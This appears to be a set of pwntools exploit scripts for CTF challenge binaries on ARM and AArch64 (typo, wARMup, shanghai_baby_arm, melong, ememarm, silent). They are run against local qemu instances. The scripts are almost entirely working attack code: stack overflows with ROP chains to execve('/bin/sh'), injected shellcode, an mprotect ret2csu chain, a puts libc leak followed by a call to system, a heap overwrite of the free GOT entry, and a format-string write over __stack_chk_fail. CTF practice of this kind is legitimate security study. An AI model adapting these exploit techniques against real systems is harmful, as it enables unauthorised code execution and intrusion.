from pwn import *
context(arch='arm',log_level='debug')

io = process(['qemu-arm','./typo'])
io.sendlineafter(b'quit\n', b'\n')

# 0x00020904 : pop {r0, r4, pc}
# 0x00068bec : pop {r1, pc}
# 0x00014068 : pop {r7, pc}
# 0x0004df00 : mov r2, #0 ; mov r0, r2 ; pop {r3, r4, r5, pc}
# 0x0000fed0 : svc #0 ; pop {r3, r4, r5, r6, r7, pc}

r0_r4 =  0x00020904
r1    = 0x00068bec
r7    = 0x00014068
r3_r4_r5 = 0x0004df00  #r0=r2=0
svc   = 0x0000fed0
bin_sh= 0x0006C384

payload = flat([ cyclic(112), p32(r3_r4_r5), p32(0)*3,   #r2 = 0
                p32(r0_r4), p32(bin_sh) , p32(0),        #r0 = bin_sh_addr
                p32(r1), p32(0),                         #r1 = 0
                p32(r7), p32(0xb),                       #r7 = 0xb
                p32(svc)])                               #pc = svc_addr

io.recv()
io.sendline(payload)

io.interactive()

from pwn import *
context(arch='arm', log_level='debug')

# io = process('qemu-arm -L /usr/arm-linux-gnueabihf/ -g 4444 ./wARMup', shell = True)
io = process('qemu-arm -L /usr/arm-linux-gnueabihf/ ./wARMup', shell = True)

bss = 0x021100
payload = flat([cyclic(0x64), p32(bss+0x68),   #r11 -> bss
                p32(0x01052C)                  #read(0, bss-0x68, 0x78)
                ])
io.sendlineafter(b'Welcome to bi0s CTF!\n', payload)

shellcode = asm('''
    add r0, pc, #12
    mov r1, #0
    mov r2, #0
    mov r7, #11
    svc 0
    .ascii "/bin/sh\\0"
''')

payload = shellcode.ljust(0x68, b'\x00') + p32(bss)

# pause()

io.send(payload)
io.interactive()

from pwn import *
context(arch='aarch64',log_level='debug')

io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','./shanghai_baby_arm'])

shellcode = asm(shellcraft.sh())
io.sendlineafter(b'Name:', shellcode)
sleep(0.3)
payload = cyclic(72) + p64(0x411068)  #PC -> bss_addr <- shellcode
io.sendline(payload)

io.interactive()

from pwn import *
context(arch='aarch64',log_level='debug')

# io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','-g','9999', './shanghai_baby_arm'])
io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/', './shanghai_baby_arm'])
elf = ELF('./shanghai_baby_arm')
bss = 0x411068

shellcode = asm(shellcraft.aarch64.sh()).ljust(0x100, b'\x00') + p64(elf.plt['mprotect'])   #0x411068
io.sendafter(b'Name:', shellcode)
sleep(0.3)

# .text:00000000004008AC loc_4008AC                              ; CODE XREF: init+60↓j -->csu2
# .text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
# .text:00000000004008B0                 MOV             X2, X22
# .text:00000000004008B4                 MOV             X1, X23
# .text:00000000004008B8                 MOV             W0, W24
# .text:00000000004008BC                 ADD             X19, X19, #1
# .text:00000000004008C0                 BLR             X3
# .text:00000000004008C4                 CMP             X19, X20
# .text:00000000004008C8                 B.NE            loc_4008AC
# .text:00000000004008CC
# .text:00000000004008CC loc_4008CC                              ; CODE XREF: init+3C↑j   -->csu1
# .text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10]
# .text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]
# .text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]
# .text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40
# .text:00000000004008DC                 RET

csu1 = 0x00000000004008CC
csu2 = 0x00000000004008AC
#mprotect(bss_addr, 0x1000, 7)   --> x19=0, x20=1, x21=mprotect_addr, x22=7, x23=0x1000, x24=bss_addr, x29=0xdeadbeef, x30=csu2

payload  = cyclic(72) + p64(csu1)
payload += p64(0xdeadbeef) + p64(csu2)  #x29  x30
payload += p64(0) + p64(1) #x19 x20
payload += p64(bss+0x100) + p64(7) #x21  x22
payload += p64(0x1000) + p64(0x411000) #x23  x24 

payload += p64(0) + p64(bss) #x29  x30->shellcode
payload += p64(0)*6 

# pause()
io.sendline(payload)

io.interactive()

#!/usr/bin/env python
# coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def chk():
    sla(b'Type the number:', str(1))
    sla(b'Your height(meters) : ', str(1.65))
    sla(b'Your weight(kilograms) : ', str(100))
    sla(b'Type the number:', str(3))
    sla(b'How long do you want to take personal training?\n', str(-1))

if __name__ == '__main__' :
    # context.log_level = 'info'
    context.arch = 'arm'
    IPort = '127.0.0.1 12345'
    pwnfile = './melong'
    libc_name = './lib/libc.so.6'
    elf  = ELF(pwnfile)
    libc = ELF(libc_name)

    # io = initc(pwnfile, IPort, 'qemu-arm -L ./  ./melong')
    io = initc(pwnfile, IPort, 'qemu-arm -L ./ -g 12345 ./melong')
    # gdb.attach(('127.0.0.1', 12345), 'b *0x01117C', pwnfile)
    dbg('b *0x01126C \n b *0x0010710')

    chk()
    sla(b'Type the number:', str(4))
    shellcode  = b"\x02\x20\x42\xe0\x1c\x30\x8f\xe2"
    shellcode += b"\x04\x30\x8d\xe5\x08\x20\x8d\xe5"
    shellcode += b"\x13\x02\xa0\xe1\x07\x20\xc3\xe5"
    shellcode += b"\x04\x30\x8f\xe2\x04\x10\x8d\xe2"
    shellcode += b"\x01\x20\xc3\xe5\x0b\x0b\x90\xef"
    shellcode += b"/bin/sh"
    payload = shellcode.ljust(84, b'a') + p32(0xfffef0d0)
    sl(payload)

    sla(b'Type the number:', str(6))
    itr()

#!/usr/bin/env python
# coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def chk():
    sla(b'Type the number:', str(1))
    sla(b'Your height(meters) : ', str(1.65))
    sla(b'Your weight(kilograms) : ', str(100))
    sla(b'Type the number:', str(3))
    sla(b'How long do you want to take personal training?\n', str(-1))

if __name__ == '__main__' :
    # context.log_level = 'info'
    context.arch = 'arm'
    IPort = '127.0.0.1 12345'
    pwnfile = './melong'
    libc_name = './lib/libc.so.6'
    elf  = ELF(pwnfile)
    libc = ELF(libc_name)

    io = initc(pwnfile, IPort, 'qemu-arm -L ./  ./melong')
    # io = initc(pwnfile, IPort, 'qemu-arm -L ./ -g 12345 ./melong')
    # dbg('b *0x01126C \n b *0x0010710')

    puts_got = elf.got['puts']
    main = elf.sym['main']

# .text:000110BC                 BL      puts
# .text:000110C0                 NOP
# .text:000110C4                 POP     {R11,PC}
# .text:000110C4 ; End of function check_first
    puts= 0x000110BC

    pr0 = 0x00011bbc
    pr3 = 0x00010460
    pr4 = 0x000105e4
    pr11= 0x00011290 

    chk()
    sla(b'Type the number:', str(4))

    payload = cyclic(84) + p32(pr0) + p32(puts_got) + p32(puts) + p32(0) + p32(main)
    sl(payload)
    sla(b'Type the number:', str(6))

    puts_addr = uu32(r32())
    libc_base = puts_addr - libc.sym['puts']
    system    = libc_base + libc.sym['system']
    bin_sh    = libc_base + next(libc.search(b'/bin/sh'))
   
    chk()
    sla(b'Type the number:', str(4))

    payload = cyclic(84) + p32(pr0) + p32(bin_sh) + p32(system)
    sl(payload)
    sla(b'Type the number:', str(6))

    leak("libc_base", libc_base)
    itr()

# coding = utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def menu(num):
    sla(b'you choice: \n', str(num))

def add0(cx=b'a', cy=b'b', ori=0):
    menu(1)
    sla(b'cx:\n', cx)
    sla(b'cy:\n', cy)
    sla(b'do you want delete?\n', str(ori))

def show(idx):
    menu(2)
    sl(str(idx))

def dele(idx, content=b''):
    menu(3)
    sl(str(idx))
    s(content)


def add1(cx=b'c', cy=b'd', ori=0):
    menu(4)
    sla(b'cx:\n', cx)
    sla(b'cy:\n', cy)
    sla(b'do you want delete?\n', str(ori))

if __name__ == '__main__' :
    # context.log_level = 'info'
    context.arch = 'aarch64'
    IPort = '127.0.0.1 12345'
    pwnfile = './ememarm'
    libc_name = './lib/libc.so.6'
    elf  = ELF(pwnfile)
    libc = ELF(libc_name)

    # io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ -g 12345 ./ememarm')
    io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ ./ememarm')
    # gdb.attach(('127.0.0.1', 12345), 'b *_start', pwnfile)
    # dbg("b *0x00400D40 ")

    sla(b'hello every one welcom my note  ~~4268144\n', b'/bin/sh\x00')

    add0(b'aaaa', b'bbbb', 0)
    add0(b'cccc', b'dddd', 0)
    add0(b'eeee', b'ffff', 1)

    add1(b'gggg', p64(0x31), 1)
    dele(1, p64(0) + p64(0x41) + b'deadbeef')
    add1(b'hhhh', p64(elf.got['free']), 0)

    dele(2, p64(0x4000831000 + libc.sym['system']))
    menu(5)

    itr()

# coding = utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
    # context.log_level = 'info'
    context.arch = 'aarch64'
    IPort = '1 1'
    # IPort = '127.0.0.1 12345'
    pwnfile = './silent'
    libc_name = './lib/libc.so.6'
    elf  = ELF(pwnfile)
    libc = ELF(libc_name)

    io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ -g 12345 ./silent')
    # dbg("b *0x04007F4 \n b *0x000400854")
    # dbg("b *0x000400854")

    scf = elf.got['__stack_chk_fail']   #14
    backdoor = 0x00400770
    payload =  b'%1883c%c' + b'%0c%0c%0c%0c%0c%0c%0c%c%c%c%c%c%c%c%c%c%c%caa%hn'  + p64(scf)
    sl(payload)
    itr()
#canary   %19$p